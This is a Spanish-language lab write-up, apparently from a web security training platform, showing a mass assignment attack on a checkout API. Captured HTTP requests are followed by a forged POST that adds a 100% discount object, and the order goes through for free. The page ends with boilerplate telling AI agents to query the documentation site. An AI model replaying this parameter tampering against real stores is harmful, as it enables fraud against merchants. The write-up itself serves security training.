# Lab #4: Exploiting a mass assignment vulnerability

Iniciamos sesion y capturamos las siguientes peticiones:

```
GET /api/checkout HTTP/2
Host: 0a3a00d003436df8847efb9500390057.web-security-academy.net
Cookie: session=3XtxbilCepyAVXfEDrwszUVj0LLC8IW7
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3a00d003436df8847efb9500390057.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i


```

Lo anterior respondio:

{% code overflow="wrap" %}

```json
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 153

{"chosen_discount":{"percentage":0},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":133700}]}
```

{% endcode %}

Y la peticion POST se identifico asi:

```
POST /api/checkout HTTP/2
Host: 0a3a00d003436df8847efb9500390057.web-security-academy.net
Cookie: session=3XtxbilCepyAVXfEDrwszUVj0LLC8IW7
Content-Length: 53
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a3a00d003436df8847efb9500390057.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3a00d003436df8847efb9500390057.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"chosen_products":[{"product_id":"1","quantity":1}]}
```

Teniendo en cuenta la respuesta de la peticion GET, añadimos el objeto descuento en el JSON y asi comprar el producto con un 100% de descuento:

{% code overflow="wrap" %}

```
POST /api/checkout HTTP/2
Host: 0a3a00d003436df8847efb9500390057.web-security-academy.net
Cookie: session=3XtxbilCepyAVXfEDrwszUVj0LLC8IW7
Content-Length: 107
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a3a00d003436df8847efb9500390057.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a3a00d003436df8847efb9500390057.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"chosen_discount":{"percentage":100},"chosen_products":[{"product_id":"1","quantity":1}]}
```

{% endcode %}

Y lo anterior responde asi:

```
HTTP/2 201 Created
Location: /cart/order-confirmation?order-confirmed=true
X-Frame-Options: SAMEORIGIN
Content-Length: 0
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/web/api-testing/lab-4-exploiting-a-mass-assignment-vulnerability.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.